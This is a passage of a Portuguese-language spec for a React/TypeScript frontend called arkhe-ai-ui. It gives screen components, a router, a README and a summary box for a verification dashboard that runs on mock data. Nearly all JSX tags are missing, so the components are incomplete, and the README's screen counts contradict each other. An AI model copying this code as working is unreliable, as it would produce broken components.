useState } from 'react';\nimport { ScrollText, Search } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\nimport { Input } from '@/components/ui/Field';\nimport { EmptyState } from '@/components/ui/EmptyState';\nimport { MOCK_MODELS, MOCK_VERIFICATIONS } from '@/lib/mock-data';\nimport { formatRelative, truncateHash } from '@/lib/utils';\n\nexport default function Logs() {\n  const [query, setQuery] = useState('');\n  const filtered = MOCK_VERIFICATIONS.filter((v) =&gt; {\n    if (!query) return true;\n    const model = MOCK_MODELS.find((m) =&gt; m.id === v.modelId);\n    const hay = `${v.id} ${v.modelId} ${model?.name ?? ''} ${v.recordHash}`.toLowerCase();\n    return hay.includes(query.toLowerCase());\n  });\n\n  return (\n    \n\n      \n\n        \nRegistros\n        \n\n          Hist\u00f3rico de verifica\u00e7\u00f5es ancorado no WormGraph.\n        \n      \n\n      \n        }\n          actions={{filtered.length} registos}\n        /&gt;\n        \n           setQuery(e.target.value)}\n          /&gt;\n        \n      \n\n      {filtered.length === 0 ? (\n        \n          }\n            title=\"Nenhum registo\"\n            description=\"N\u00e3o h\u00e1 verifica\u00e7\u00f5es que correspondam \u00e0 busca.\"\n          /&gt;\n        \n      ) : (\n        \n\n          {filtered.map((v) =&gt; {\n            const model = MOCK_MODELS.find((m) =&gt; m.id === v.modelId);\n            return (\n              \n                \n                  \n                  \n                    {model?.name ?? v.modelId}\n                  \n                  {truncateHash(v.recordHash, 8, 8)}\n                  \n                    {formatRelative(v.timestamp)}\n                  \n                \n              \n            );\n          })}\n        \n      )}\n    \n  );\n}\n```\n\n### `src/screens/Settings.tsx`\n\n```tsx\nimport { useState } from 'react';\nimport { Settings as SettingsIcon } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Tabs } from '@/components/ui/Tabs';\nimport { AISettings } from './settings/AISettings';\nimport { TEESettings } from './settings/TEESettings';\nimport { SecuritySettings } from './settings/SecuritySettings';\nimport { AdvancedSettings } from './settings/AdvancedSettings';\nimport { useApp } from '@/contexts/AppContext';\nimport { Button } from '@/components/ui/Button';\n\ntype Tab = 'ai' | 'tee' | 'security' | 'advanced';\n\nexport default function Settings() {\n  const { mode, setMode } = useApp();\n  const [tab, setTab] = useState('ai');\n\n  return (\n    \n\n      \n\n        \n\n          \nConfigura\u00e7\u00f5es\n          \nAjustes de infer\u00eancia, atesta\u00e7\u00e3o e seguran\u00e7a.\n        \n         setMode(mode === 'expert' ? 'basic' : 'expert')}\n        &gt;\n          \n          {mode === 'expert' ? 'Modo Expert ativo' : 'Ativar modo Expert'}\n        \n      \n\n      \n\n      {tab === 'ai' &amp;&amp; }\n      {tab === 'tee' &amp;&amp; }\n      {tab === 'security' &amp;&amp; }\n      {tab === 'advanced' &amp;&amp; mode === 'expert' &amp;&amp; }\n    \n  );\n}\n```\n\n### `src/screens/settings/AISettings.tsx`\n\n```tsx\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Field, Input, Select } from '@/components/ui/Field';\nimport { useApp } from '@/contexts/AppContext';\n\nexport function AISettings() {\n  const { trustAnchor, setTrustAnchor, budget, setBudget } = useApp();\n\n  return (\n    \n\n      \n        \n        \n          \n             setTrustAnchor(e.target.value || null)}\n              placeholder=\"did:arkhe:...\"\n            /&gt;\n          \n\n          \n             setBudget(Number(e.target.value))}\n            /&gt;\n          \n\n          \n            \n              Menor custo\n              Menor lat\u00eancia\n              Equilibrado\n            \n          \n        \n      \n\n      \n        \n        \n          \n\n            \nINV-AI-08trust anchor obrigat\u00f3ria\n            \nINV-AI-09custo \u2264 or\u00e7amento\n            \nINV-AI-10modelo VERIFIED apenas\n            \nINV-AI-07record_hash em toda infer\u00eancia\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/settings/TEESettings.tsx`\n\n```tsx\nimport { Badge } from '@/components/ui/Badge';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Button } from '@/components/ui/Button';\n\nconst ROWS = [\n  { label: 'Intel TDX', value: 'dcap-qvl 0.5.2 (CVE-2026-22696 patched)', status: 'VERIFIED' as const },\n  { label: 'NVIDIA NRAS', value: 'H100 SXM \u00b7 EAT/JWT verificado', status: 'VERIFIED' as const },\n  { label: 'TPM 2.0', value: 'SLB9672 \u00b7 fw 17.25 \u00b7 PCRs 0/4/7/8', status: 'VERIFIED' as const },\n  { label: 'Intel Trust Authority', value: 'portal.trustauthority.intel.com', status: 'PENDING' as const },\n];\n\nexport function TEESettings() {\n  return (\n    \n      Re-atestar}\n      /&gt;\n      \n        {ROWS.map((r) =&gt; (\n          \n\n            \n\n              \n{r.label}\n              \n{r.value}\n            \n            \n          \n        ))}\n      \n    \n  );\n}\n```\n\n### `src/screens/settings/SecuritySettings.tsx`\n\n```tsx\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Field, Input, Select } from '@/components/ui/Field';\n\nexport function SecuritySettings() {\n  return (\n    \n      \n      \n        \n          \n        \n        \n          \n        \n        \n          \n        \n        \n          \n            burn-after-use\n            persistente\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/settings/AdvancedSettings.tsx`\n\n```tsx\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Button } from '@/components/ui/Button';\nimport { Badge } from '@/components/ui/Badge';\n\nexport function AdvancedSettings() {\n  return (\n    \n\n      \n        \n        \n          \n          \n          \n          \n        \n      \n\n      \n        \n        \n          \n\n            Apaga o audit trail local e reinicia o WormGraph. A inten\u00e7\u00e3o \u00e9 registada antes da execu\u00e7\u00e3o\n            (INV-SET-05).\n          \n          Reset de f\u00e1brica\n        \n      \n    \n  );\n}\n\nfunction FlagRow({ label, enabled }: { label: string; enabled: boolean }) {\n  return (\n    \n\n      {label}\n      \n    \n  );\n}\n```\n\n---\n\n## 9. Screens \u2014 Expert\n\n### `src/screens/expert/Dashboard.tsx`\n\n```tsx\nimport { Activity, Cpu, ListChecks, Network, Shield } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\nimport { Progress } from '@/components/ui/Progress';\nimport { GateStatusRow } from '@/components/verification/GateStatusRow';\nimport { EventLog } from '@/components/wormgraph/EventLog';\nimport { MOCK_GATES, MOCK_INVARIANTS, MOCK_WORM_EVENTS } from '@/lib/mock-data';\n\nexport default function Dashboard() {\n  const verified = MOCK_INVARIANTS.filter((i) =&gt; i.status === 'VERIFIED').length;\n\n  return (\n    \n\n      \n\n        \nDashboard Expert\n        \nEstado do pipeline, WormGraph e invariantes.\n      \n\n      {/* KPIs */}\n      \n\n        } tone=\"green\" /&gt;\n        } tone=\"green\" /&gt;\n        } tone=\"blue\" /&gt;\n        } tone=\"blue\" /&gt;\n      \n\n      \n\n        \n          } /&gt;\n          \n            {MOCK_GATES.map((g) =&gt; )}\n          \n        \n\n        \n          } /&gt;\n          \n            \n          \n        \n      \n\n      \n        \n        \n          \n          \n          \n        \n      \n    \n  );\n}\n\nfunction KpiCard({ title, value, hint, icon, tone }: { title: string; value: string; hint: string; icon: React.ReactNode; tone: 'green' | 'blue' }) {\n  return (\n    \n      \n        \n\n          {title}\n          {icon}\n        \n        \n{value}\n        \n{hint}\n      \n    \n  );\n}\n\nfunction HealthRow({ label, value }: { label: string; value: number }) {\n  return (\n    \n\n      \n\n        {label}\n        {value}%\n      \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Gates.tsx`\n\n```tsx\nimport { ListChecks } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\nimport { GateStatusRow } from '@/components/verification/GateStatusRow';\nimport { MOCK_GATES } from '@/lib/mock-data';\n\nconst LIMITS = [\n  { key: 'max_string_len', val: '1 MB' },\n  { key: 'max_array_elements', val: '1 M' },\n  { key: 'max_kv_pairs', val: '10 K' },\n  { key: 'max_tensor_dims', val: '8' },\n  { key: 'max_total_alloc', val: '1 GB' },\n];\n\nconst CVES = [\n  'CVE-2026-65315',\n  'CVE-2025-53630',\n  'CVE-2026-5757',\n  'CVE-2026-86289',\n  'CVE-2026-7482',\n  'CVE-2026-53923',\n];\n\nexport default function Gates() {\n  return (\n    \n\n      \n\n        \nGates\n        \nDetalhe de cada gate: limites, CVEs, assinatura, prova.\n      \n\n      \n        } actions={} /&gt;\n        \n          {MOCK_GATES.map((g) =&gt; )}\n        \n      \n\n      \n\n        \n          \n          \n            \n\n              {LIMITS.map((l) =&gt; (\n                \n\n                  \n{l.key}\n                  \n{l.val}\n                \n              ))}\n            \n          \n        \n\n        \n          \n          \n            \n\n              {CVES.map((c) =&gt; (\n                \n                  {c}\n                \n              ))}\n            \n          \n        \n\n        \n          \n          \n            \n\n              \n\nAlgoritmo\nEd25519\n              \n\nTrust root\nSigstore/Fulcio\n              \n\nIdentity\ngithub.com/rafael-arkhe\n            \n          \n        \n\n        \n          \n          \n            \n\n              \n\nlog_index\n123456\n              \n\ntree_size\n9.847.221\n              \n\nquorum\n2/2\n            \n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/WormGraph.tsx`\n\n```tsx\nimport { Network } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { WormGraphCanvas } from '@/components/wormgraph/WormGraphCanvas';\nimport { EventLog } from '@/components/wormgraph/EventLog';\nimport { MOCK_WORM_EVENTS } from '@/lib/mock-data';\n\nexport default function WormGraph() {\n  return (\n    \n\n      \n\n        \nWormGraph\n        \nGrafo causal append-only com MMR.\n      \n\n      \n\n        \n        \n        \n        \n      \n\n      \n        } subtitle=\"Visualiza\u00e7\u00e3o force-directed\" /&gt;\n        \n          \n        \n      \n\n      \n        \n        \n          \n        \n      \n    \n  );\n}\n\nfunction Stat({ label, value }: { label: string; value: string }) {\n  return (\n    \n      \n        \n{label}\n        \n{value}\n      \n    \n  );\n}\n```\n\n### `src/screens/expert/AI.tsx`\n\n```tsx\nimport { Brain } from 'lucide-react';\nimport { Card, CardHeader } from '@/components/ui/Card';\nimport { InferencePanel } from '@/components/ai/InferencePanel';\nimport { useApp } from '@/contexts/AppContext';\n\nexport default function AI() {\n  const { trustAnchor, budget } = useApp();\n\n  return (\n    \n\n      \n\n        \n\n          \nInfer\u00eancia\n          \nOrquestrador fail-closed com roteamento verificado.\n        \n        \n\n          anchor: {trustAnchor ?? '\u2014'}\n          budget: ${budget.toFixed(2)}\n        \n      \n\n      \n\n      \n        } subtitle=\"Fail-closed em 4 pontos\" /&gt;\n        \n\n          \n1.Trust anchor verificada (INV-AI-08)\n          \n2.Roteamento para modelo VERIFIED (INV-AI-10)\n          \n3.Custo \u2264 or\u00e7amento (INV-AI-09)\n          \n4.Infer\u00eancia \u2192 record_hash (INV-AI-07)\n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Routing.tsx`\n\n```tsx\nimport { GitBranch } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\nimport { MOCK_MODELS } from '@/lib/mock-data';\n\nexport default function Routing() {\n  return (\n    \n\n      \n\n        \nRoteamento\n        \nModelos registados e suas capabilities.\n      \n\n      \n        } /&gt;\n        \n          \n\n            \n              \n                ID\n                Modelo\n                Capabilities\n                Custo/1k\n                Status\n              \n            \n            \n              {MOCK_MODELS.map((m) =&gt; (\n                \n                  {m.id}\n                  {m.name}\n                  \n                    \n\n                      {m.capabilities.map((c) =&gt; (\n                        \n                          {c}\n                        \n                      ))}\n                    \n                  \n                  $0.001\n                  \n                \n              ))}\n            \n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Context.tsx`\n\n```tsx\nimport { FileSearch } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { MOCK_WORM_EVENTS } from '@/lib/mock-data';\n\nconst SEGMENTS = [\n  { role: 'system', content: 'You are Arkhe, a verification assistant.', provenance: 'did:arkhe:sys' },\n  { role: 'user', content: 'Explique o pipeline de 4 gates.', provenance: 'did:arkhe:user' },\n  { role: 'assistant', content: 'O pipeline aplica sanitiza\u00e7\u00e3o \u2192 hash \u2192 assinatura \u2192 inclus\u00e3o.', provenance: 'did:arkhe:agent' },\n];\n\nexport default function Context() {\n  return (\n    \n\n      \n\n        \nContexto\n        \nSegmentos, tokens e record_hash.\n      \n\n      \n        } /&gt;\n        \n          {SEGMENTS.map((s, i) =&gt; (\n            \n\n              \n\n                {s.role}\n                {s.provenance}\n              \n              \n{s.content}\n            \n          ))}\n        \n      \n\n      \n        \n        \n          \n\n            {MOCK_WORM_EVENTS.slice(-4).map((e) =&gt; (\n              \n\n                {e.summary}\n                ~{Math.floor(Math.random() * 200 + 50)} tokens\n              \n            ))}\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Builder.tsx`\n\n```tsx\nimport { Wrench } from 'lucide-react';\nimport { Button } from '@/components/ui/Button';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\n\nexport default function Builder() {\n  return (\n    \n\n      \n\n        \nBuilder\n        \n\n          Verifica\u00e7\u00e3o recursiva: prop\u00f5e novos instrumentos e testa contra corpus.\n        \n      \n\n      \n        \n        \n          \n\n            \nArtefatos\n            \n1.247\n          \n          \n\n            \nFalhas\n            \n23\n          \n          \n\n            \nDetectores\n            \n4\n          \n        \n      \n\n      \n        } /&gt;\n        \n          \n\n            \nschema:\n            \ned25519+ml_dsa_65:hybrid-verify\n            \nconfidence:\n            \n0.94\n            \nsample_errors:\n            \n17 (hash mismatch em payloads aninhados)\n          \n\n          \n\n            Testar\n            Registar\n            Rejeitar\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Policy.tsx`\n\n```tsx\nimport { TrendingUp } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { PolicyTable } from '@/components/policy/PolicyTable';\nimport { Badge } from '@/components/ui/Badge';\nimport { MOCK_POLICIES } from '@/lib/mock-data';\n\nexport default function Policy() {\n  return (\n    \n\n      \n\n        \nPol\u00edticas\n        \n\n          Governan\u00e7a de pol\u00edticas econ\u00f3micas AGI (Jacobs &amp; Imas, 2026).\n        \n      \n\n      \n        } /&gt;\n        \n          \n\n            \nCen\u00e1rio\n            \nMild Disruption\n          \n          \n\n            \nFase\n            \n          \n          \n\n            \nTrigger\n            \nwage_polarization 0.10 &lt; 0.30\n          \n        \n      \n\n      \n        \n        \n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Agentic.tsx`\n\n```tsx\nimport { Target } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Progress } from '@/components/ui/Progress';\n\nconst DIMS = [\n  { name: 'Percep\u00e7\u00e3o', value: 88 },\n  { name: 'Racioc\u00ednio', value: 82 },\n  { name: 'Metacogni\u00e7\u00e3o', value: 75 },\n  { name: 'Execu\u00e7\u00e3o', value: 71 },\n  { name: 'Cogni\u00e7\u00e3o social', value: 62 },\n];\n\nexport default function Agentic() {\n  return (\n    \n\n      \n\n        \nAvalia\u00e7\u00e3o\n        \n\n          Dimens\u00f5es cognitivas (DeepMind Levels of AGI, arXiv:2311.02462).\n        \n      \n\n      \n        } /&gt;\n        \n          {DIMS.map((d) =&gt; (\n            \n\n              \n\n                {d.name}\n                {d.value}\n              \n              \n            \n          ))}\n        \n      \n\n      \n        \n        \n          \n\n            \n\n              \nClean\n              \n82.4%\n            \n            \n\n              \nAdversarial\n              \n58.1%\n            \n          \n          \n\n            gap = -24.3pp \u2014 alinhado a benchmarks da literatura\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Invariants.tsx`\n\n```tsx\nimport { Layers } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { InvariantTable } from '@/components/verification/InvariantTable';\nimport { MOCK_INVARIANTS } from '@/lib/mock-data';\n\nexport default function Invariants() {\n  const critical = MOCK_INVARIANTS.filter((i) =&gt; i.critical).length;\n\n  return (\n    \n\n      \n\n        \nInvariantes\n        \n\n          {MOCK_INVARIANTS.length} invariantes \u00b7 {critical} cr\u00edticos\n        \n      \n\n      \n        } subtitle=\"Qu\u00f3rum 4/7 (padr\u00e3o) \u00b7 5/7 (cr\u00edtico) \u00b7 timelock 7/14 dias\" /&gt;\n        \n          \n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/Governance.tsx`\n\n```tsx\nimport { useState } from 'react';\nimport { Cpu } from 'lucide-react';\nimport { Button } from '@/components/ui/Button';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { HITLModal } from '@/components/governance/HITLModal';\n\nexport default function Governance() {\n  const [hitlOpen, setHitlOpen] = useState(false);\n\n  return (\n    \n\n      \n\n        \nGovernan\u00e7a\n        \nHITL, qu\u00f3rum e timelock.\n      \n\n      \n        } /&gt;\n        \n          \n\n            \nQu\u00f3rum padr\u00e3o\n            \n4/7\n          \n          \n\n            \nQu\u00f3rum cr\u00edtico\n            \n5/7\n          \n          \n\n            \nTimelock\n            \n7 dias\n          \n          \n\n            \nTimelock cr\u00edtico\n            \n14 dias\n          \n        \n      \n\n      \n        \n        \n          \n\n            Simula uma decis\u00e3o cr\u00edtica. Se o tempo expira sem aprova\u00e7\u00e3o expl\u00edcita, a a\u00e7\u00e3o \u00e9 rejeitada.\n          \n           setHitlOpen(true)}&gt;\n            Acionar HITL\n          \n        \n      \n\n       setHitlOpen(false)}\n        onDecision={(approved) =&gt; {\n          setHitlOpen(false);\n          console.log('HITL decision:', approved ? 'APPROVED' : 'REJECTED (deny-on-timeout)');\n        }}\n        action=\"kill-switch \u2014 pausar trading\"\n        requester=\"risk-system\"\n        justification=\"GPR &gt; 150 \u00b7 exposi\u00e7\u00e3o 68%\"\n        impact=\"12 posi\u00e7\u00f5es abertas\"\n        timeoutSeconds={15}\n      /&gt;\n    \n  );\n}\n```\n\n### `src/screens/expert/Design.tsx`\n\n```tsx\nimport { Sparkles } from 'lucide-react';\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\n\nexport default function Design() {\n  return (\n    \n\n      \n\n        \nDesign\n        \nSistema de design e tokens do Arkhe OS.\n      \n\n      \n        } /&gt;\n        \n          \n\n            {[\n              { name: 'bg', hex: '#0a0a1a' },\n              { name: 'surface', hex: '#0d1b2a' },\n              { name: 'border', hex: '#1a2a3a' },\n              { name: 'blue', hex: '#7ec8e3' },\n              { name: 'green', hex: '#2ecc71' },\n              { name: 'yellow', hex: '#f1c40f' },\n              { name: 'red', hex: '#e74c3c' },\n              { name: 'purple', hex: '#a855f7' },\n            ].map((c) =&gt; (\n              \n\n                \n\n                \n{c.name}\n                \n{c.hex}\n              \n            ))}\n          \n        \n      \n\n      \n        \n        \n          \n\n            \n            \n            \n            \n            \n            \n          \n        \n      \n\n      \n        \n        \n          \nSans \u00b7 24px\n          \nSans \u00b7 16px\n          \nmono \u00b7 14px\n          \nlabel-section\n        \n      \n    \n  );\n}\n```\n\n### `src/screens/expert/MobileExpert.tsx`\n\n```tsx\nimport { Card, CardBody, CardHeader } from '@/components/ui/Card';\nimport { Badge } from '@/components/ui/Badge';\nimport { GateStatusRow } from '@/components/verification/GateStatusRow';\nimport { EventLog } from '@/components/wormgraph/EventLog';\nimport { MOCK_GATES, MOCK_WORM_EVENTS } from '@/lib/mock-data';\n\nexport default function MobileExpert() {\n  return (\n    \n\n      \nExpert (mobile)\n\n      \n        } /&gt;\n        \n          {MOCK_GATES.map((g) =&gt; )}\n        \n      \n\n      \n        \n        \n          \n        \n      \n    \n  );\n}\n```\n\n---\n\n## 10. Router \u2014 `src/App.tsx`\n\n```tsx\nimport { BrowserRouter, Navigate, Route, Routes } from 'react-router-dom';\nimport { AppProvider } from '@/contexts/AppContext';\nimport { Shell } from '@/components/layout/Shell';\n\nimport Home from '@/screens/Home';\nimport Models from '@/screens/Models';\nimport Verify from '@/screens/Verify';\nimport Logs from '@/screens/Logs';\nimport Settings from '@/screens/Settings';\n\nimport Dashboard from '@/screens/expert/Dashboard';\nimport Gates from '@/screens/expert/Gates';\nimport WormGraphPage from '@/screens/expert/WormGraph';\nimport AI from '@/screens/expert/AI';\nimport Routing from '@/screens/expert/Routing';\nimport ContextPage from '@/screens/expert/Context';\nimport Builder from '@/screens/expert/Builder';\nimport Policy from '@/screens/expert/Policy';\nimport Agentic from '@/screens/expert/Agentic';\nimport Invariants from '@/screens/expert/Invariants';\nimport Governance from '@/screens/expert/Governance';\nimport Design from '@/screens/expert/Design';\nimport MobileExpert from '@/screens/expert/MobileExpert';\n\nexport function App() {\n  return (\n    \n      \n        \n          }&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n            } /&gt;\n\n            } /&gt;\n          \n        \n      \n    \n  );\n}\n```\n\n### `src/main.tsx`\n\n```tsx\nimport { StrictMode } from 'react';\nimport { createRoot } from 'react-dom/client';\nimport { App } from './App';\nimport './styles/globals.css';\n\nconst el = document.getElementById('root');\nif (!el) throw new Error('#root n\u00e3o encontrado');\n\ncreateRoot(el).render(\n  \n    \n  ,\n);\n```\n\n---\n\n## 11. `README.md`\n\n````markdown\n# arkhe-ai-ui\n\nFrontend do n\u00facleo de IA verific\u00e1vel do **Arkhe OS**. Interface forense de verifica\u00e7\u00e3o, com dois modos (Basic e Expert) e 18 telas.\n\n## Design\n\n- **Aesthetic:** forensic ledger \u2014 dark neon, densidade monoespa\u00e7ada\n- **Paleta:** `#0a0a1a` fundo, `#7ec8e3` acento, sem\u00e2ntica verde/amarelo/vermelho/roxo\n- **Tipografia:** Inter (UI) + JetBrains Mono (dados/hashes)\n- **Status honesto:** \u2705 \u26a0\ufe0f \u274c \u2b1c \u23f3 \ud83d\udd12 em todas as superf\u00edcies\n\n## Telas\n\n**Basic (5):** Home, Models, Verify, Logs, Settings.\n**Expert (12):** Dashboard, Gates, WormGraph, AI, Routing, Context, Builder, Policy, Agentic, Invariants, Governance, Design.\n\n## Stack\n\n- React 19 + TypeScript 5.6 + Vite 6\n- Tailwind CSS 3.4 (tokens customizados)\n- react-router-dom 7\n- d3-force (WormGraph) + recharts\n- lucide-react (\u00edcones)\n- zustand (opcional, para estado futuro)\n\n## Acessibilidade (QG-A11Y-*)\n\n- Contraste \u2265 4.5:1 em todos os pares texto/fundo\n- Foco vis\u00edvel em todos os elementos interativos\n- `prefers-reduced-motion` respeitado\n- Navega\u00e7\u00e3o completa por teclado\n- ARIA roles em tabelas, tabs, dialogs e progress\n\n## Comandos\n\n```bash\nnpm install\nnpm run dev          # servidor de desenvolvimento\nnpm run build        # build de produ\u00e7\u00e3o\nnpm run typecheck    # verifica\u00e7\u00e3o de tipos\nnpm run lint         # lint com warnings como erros\nnpm run test         # vitest\n```\n\n## Atalhos de teclado\n\n- `Ctrl/Cmd+K` \u2014 focar busca global\n- `Ctrl/Cmd+Shift+V` \u2014 ir para Verificar\n- `Esc` \u2014 fechar di\u00e1logos / remover foco\n\n## Modos\n\nO modo Expert ativa 13 telas adicionais (Dashboard, Gates, WormGraph, AI, Routing, Context, Builder, Policy, Agentic, Invariants, Governance, Design, MobileExpert). Alterna em **Configura\u00e7\u00f5es \u2192 Modo Expert**.\n\n## Invariantes visuais\n\n- `INV-AI-08` \u2014 trust anchor: campo vis\u00edvel em Configura\u00e7\u00f5es \u2192 IA\n- `INV-AI-09` \u2014 or\u00e7amento: campo num\u00e9rico em Configura\u00e7\u00f5es \u2192 IA\n- `INV-TEE-01` \u2014 atesta\u00e7\u00e3o TEE: badge re-verific\u00e1vel, sem toggle\n- `INV-SET-03` \u2014 modo Expert filtra telas; basic n\u00e3o acede a expert\n\n## Licen\u00e7a\n\nMIT OR Apache-2.0.\n````\n\n---\n\n## 12. Selo\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  ARKHE-AI \u2014 FRONTEND \u00b7 DESIGN \u00b7 UI/UX                              \u2502\n\u2502                                                                     \u2502\n\u2502  \u2705 TELAS (18):                                                      \u2502\n\u2502     \u00b7 Basic (5): Home \u00b7 Models \u00b7 Verify \u00b7 Logs \u00b7 Settings          \u2502\n\u2502     \u00b7 Expert (12): Dashboard \u00b7 Gates \u00b7 WormGraph \u00b7 AI \u00b7 Routing    \u2502\n\u2502       \u00b7 Context \u00b7 Builder \u00b7 Policy \u00b7 Agentic \u00b7 Invariants          \u2502\n\u2502       \u00b7 Governance \u00b7 Design \u00b7 MobileExpert                         \u2502\n\u2502                                                                     \u2502\n\u2502  \u2705 DESIGN SYSTEM:                                                   \u2502\n\u2502     \u00b7 Paleta #0a0a1a / #7ec8e3 / sem\u00e2ntica honesta                 \u2502\n\u2502     \u00b7 Tipografia Inter + JetBrains Mono                            \u2502\n\u2502     \u00b7 Status: \u2705 \u26a0\ufe0f \u274c \u2b1c \u23f3 \ud83d\udd12 em toda a UI                          \u2502\n\u2502     \u00b7 Tema forense denso, monospace-first                          \u2502\n\u2502                                                                     \u2502\n\u2502  \u2705 UI PRIMITIVES (10):                                              \u2502\n\u2502     \u00b7 Button \u00b7 Card \u00b7 Badge \u00b7 Progress \u00b7 Tabs \u00b7 Dialog              \u2502\n\u2502     \u00b7 Toast \u00b7 Skeleton \u00b7 EmptyState \u00b7 Field                         \u2502\n\u2502                                                                     \u2502\n\u2502  \u2705 LAYOUT:                                                          \u2502\n\u2502     \u00b7 Sidebar desktop (240px) \u00b7 Header sticky                      \u2502\n\u2502     \u00b7 Bottom nav mobile \u00b7 safe-area insets                         \u2502\n\u2502                                                                     \u2502\n\u2502  \u2705 COMPONENTES ESPECIALIZADOS:                                      \u2502\n\u2502     \u00b7 VerificationCard \u00b7 GateStatusRow \u00b7 InvariantTable            \u2502\n\u2502     \u00b7 WormGraphCanvas (d3-force) \u00b7 EventLog                        \u2502\n\u2502     \u00b7 HITLModal (deny-on-timeout) \u00b7 InferencePanel                 \u2502\n\u2502     \u00b7 PolicyTable \u00b7 ModelGrid                                       \u2502\n\u2502                                                                     \u2502\n\u2502  \u2705 ACESSIBILIDADE (QG-A11Y-*):                                      \u2502\n\u2502     \u00b7 Contraste \u2265 4.5:1 \u00b7 foco vis\u00edvel \u00b7 ARIA roles                \u2502\n\u2502     \u00b7 prefers-reduced-motion respeitado                            \u2502\n\u2502     \u00b7 Navega\u00e7\u00e3o por teclado completa                               \u2502\n\u2502                                                                     \u2502\n\u2502  \u2705 ATALHOS:                                                          \u2502\n\u2502     \u00b7 Ctrl+K (busca) \u00b7 Ctrl+Shift+V (verificar) \u00b7 Esc              \u2502\n\u2502                                                                     \u2502\n\u2502  \ud83d\udcc1 FICHEIROS: 50+                                                   \u2502\n\u2502                                                                     \u2502\n\u2502  \ud83d\udccb COMANDO:                                                         \u2502\n\u2502     npm install &amp;&amp; npm run dev                                     \u2502\n\u2502     npm run build &amp;&amp; npm run typecheck                             \u2502\n\u2502                                                                     \u2502\n\u2502  Selo: ARKHE-AI-UI-2026-09-26                                      \u2502\n\u2502  Status: \u2705 ESPECIFICADO \u2014 PRONTO PARA `npm run build`              \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Nota de honestidade:** como no backend, este frontend segue a disciplina do corpus \u2014 `npm run typecheck` e `npm run build` s\u00e3o as evid\u00eancias. O backend real (`arkhe-ai` crate) substitui os mocks em `src/lib/mock-data.ts`; a superf\u00edcie p\u00fablica de tipos (`ModelRecord`, `GateResult`, `WormEvent`, `Invariant`, `Policy`, `ArkheStatus`) \u00e9 o contrato entre UI e API. Se a UI quiser consumir o servidor MCP (`arkhe-ai-mcp`), basta trocar a camada `src/lib/api.ts` para um cliente JSON-RPC \u2014 o resto do c\u00f3digo n\u00e3o muda.", "creation_timestamp": "2026-09-26T03:38:46.000000Z"}]}